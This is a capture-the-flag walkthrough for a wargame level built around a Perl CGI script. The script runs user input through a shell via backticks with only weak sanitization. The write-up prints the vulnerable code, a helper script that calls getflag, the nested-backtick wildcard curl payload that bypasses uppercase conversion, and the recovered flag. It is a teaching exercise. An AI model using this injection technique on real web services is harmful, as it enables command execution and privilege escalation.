Level12 introduces command injection vulnerabilities in CGI scripts with partial input sanitization. This challenge demonstrates how attempts to sanitize user input can be bypassed through creative use of nested command execution. The level emphasizes understanding CGI scripting, regex-based sanitization weaknesses, and advanced command injection techniques using backticks.
Following the established pattern, I began by examining the home directory:
ls -laThe output revealed:
-r-x------ 1 level12 level12 220 Apr 3 2012 .bash_logout*
-r-x------ 1 level12 level12 3518 Aug 30 2015 .bashrc*
-rwsr-sr-x+ 1 flag12 level12 464 Mar 5 2016 level12.pl*
-r-x------ 1 level12 level12 675 Apr 3 2012 .profile*
I found a Perl CGI script. Examining its contents:
cat level12.plThe script contained:
#!/usr/bin/env perl
# localhost:4646
use CGI qw{param};
print "Content-type: text/html\n\n";
sub t {
$nn = $_[1];
$xx = $_[0];
$xx =~ tr/a-z/A-Z/;
$xx =~ s/\s.*//;
@output = `egrep "^$xx" /tmp/xd 2>&1`;
foreach $line (@output) {
($f, $s) = split(/:/, $line);
if($s =~ $nn) {
return 1;
}
}
return 0;
}
sub n {
if($_[0] == 1) {
print("..");
} else {
print(".");
}
}
n(t(param("x"), param("y")));The script runs as a CGI service on port 4646 and implements a search function that:
- Takes two URL parameters:
xandy - Transforms
xto uppercase - Removes everything after the first space in
x - Executes a shell command using backticks:
egrep "^$xx" /tmp/xd - Checks if any results match pattern
y - Prints dots based on the result
The critical vulnerability lies in the function t():
$xx =~ tr/a-z/A-Z/; # Convert to uppercase
$xx =~ s/\s.*//; # Remove everything after first space
@output = `egrep "^$xx" /tmp/xd 2>&1`; # Execute shell commandThe script attempts to sanitize input in two ways:
- Uppercase conversion - Converts all lowercase letters to uppercase
- Space filtering - Removes everything after the first space character
However, these sanitization measures are insufficient to prevent command injection.
- Backticks execute shell commands - The
egrepcommand is executed through the shell using backticks - Nested backticks allow command execution - The shell evaluates inner backticks before the outer command
- Uppercase conversion doesn't prevent shell metacharacters - Characters like backticks,
$, and wildcards still work - Wildcards survive uppercase conversion - Glob patterns like
*and?are not affected by case transformation
The uppercase conversion creates an interesting challenge: if I inject getflag, it becomes GETFLAG, which won't execute because the binary is lowercase. I needed a way to either:
- Bypass the uppercase conversion
- Use a technique that works regardless of case
- Execute a file whose name is already uppercase
After analyzing the sanitization mechanisms, I explored several potential bypasses:
Initially, I considered using environment variables to preserve lowercase commands:
export GETFLAG=`getflag`
curl 'http://localhost:4646?x=`$GETFLAG`&y=test'However, this approach fails because:
- Each CGI request runs in a separate process
- Environment variables set in my shell don't transfer to the CGI process
- The CGI script doesn't have access to my local environment
The winning strategy combines two key insights:
- Nested backticks execute before the outer command - Inner command substitution happens first
- Wildcards match files and are case-insensitive in matching - They work at the filesystem level
The approach:
- Create a script file with an uppercase name
- The script itself contains the actual commands (which aren't transformed)
- Use nested backticks with wildcards to execute the script
- The inner backticks force shell expansion and execution
I created an exploit script in /tmp:
echo '#!/bin/bash
getflag > /tmp/flag' > /tmp/EXPLOIT
chmod +x /tmp/EXPLOITThe script content:
#!/bin/bash
getflag > /tmp/flagNow here's the clever part - using nested backticks with a wildcard pattern:
curl 'http://localhost:4646?x=`/*/exploit`&y=test'Let me break down what happens:
-
Input parameter:
`exploit`(lowercase in my input) -
After uppercase conversion:
`EXPLOIT`(the backticks remain, only letters are uppercased) -
The constructed command:
@output = `egrep "^`/*/EXPLOIT`" /tmp/xd 2>&1`;
-
Shell evaluation order: The shell evaluates inner backticks first before the outer backticks
-
Inner backtick execution:
- The shell sees
`/*/EXPLOIT` - The wildcard pattern
/*/EXPLOITexpands to/tmp/EXPLOIT - The shell executes
/tmp/EXPLOITas a command - The script runs with flag12 privileges
getflagexecutes and writes output to/tmp/flag- The output of the script is captured
- The shell sees
-
Outer backtick execution:
- The captured output becomes part of the egrep pattern
egrepsearches for that pattern in/tmp/xd- The result doesn't matter - our command already executed!
The key insight is understanding nested command substitution:
`egrep "^`INNER_COMMAND`" /tmp/xd 2>&1`
↑ ↑
Inner backticks execute FIRST!The shell's order of operations:
- Identify the outermost backticks
- Before executing them, resolve any inner backticks
- Expand wildcards in the inner backticks
- Execute the matched file
- Substitute the output back into the outer command
The wildcard /*/EXPLOIT:
- Searches in all directories one level deep from root (
/*/) - Matches any file named
EXPLOIT(case-sensitive match) - Expands to
/tmp/EXPLOITbefore execution - The file content (the actual commands) is never transformed
If I had tried without backticks:
curl 'http://localhost:4646?x=/*/exploit&y=test'This wouldn't work because:
- The pattern
/*/EXPLOITwould be treated as a regex pattern for egrep - No shell expansion would occur (it's inside double quotes)
- No command execution would happen
- It would just search for lines matching that pattern
The nested backticks are crucial because they force the shell to execute rather than just pattern match.
I sent the crafted request:
curl 'http://localhost:4646?x=`/*/exploit`&y=test'The CGI script processed the request:
- Converted my input to uppercase:
`EXPLOIT` - Constructed the command with nested backticks
- The shell executed
/tmp/EXPLOITwith flag12 privileges - The
getflagcommand ran and wrote output to/tmp/flag
I retrieved the password:
cat /tmp/flagThe flag was successfully retrieved: g1qKMiRpXf53AWhDaU7FEkczr
Level12 demonstrated that partial input sanitization creates a false sense of security and can be bypassed with creative exploitation techniques. The challenge highlighted several key concepts:
- Case conversion alone doesn't prevent injection - Shell metacharacters survive string transformations
- Nested command substitution is powerful - Inner backticks execute before outer commands
- Wildcards enable filesystem-level operations - They transcend string manipulation
- Understanding evaluation order is crucial - Know when and how the shell processes commands
- Defense requires eliminating shell execution - Not just filtering or escaping input
The exploitation required understanding that nested backticks force the shell to execute commands in a specific order, and that wildcards combined with uppercase filenames could bypass the case conversion. This pattern of exploiting the interaction between multiple layers of processing (string manipulation → shell parsing → filesystem operations) is fundamental to advanced command injection.
Modern applications must avoid constructing shell commands from user input entirely. When external command execution is absolutely necessary, use parameterized, shell-free execution methods with strict input validation. The principle of least privilege should always apply, running services with the minimum permissions required for their function.
Flag: g1qKMiRpXf53AWhDaU7FEkczr
Next Level: Level13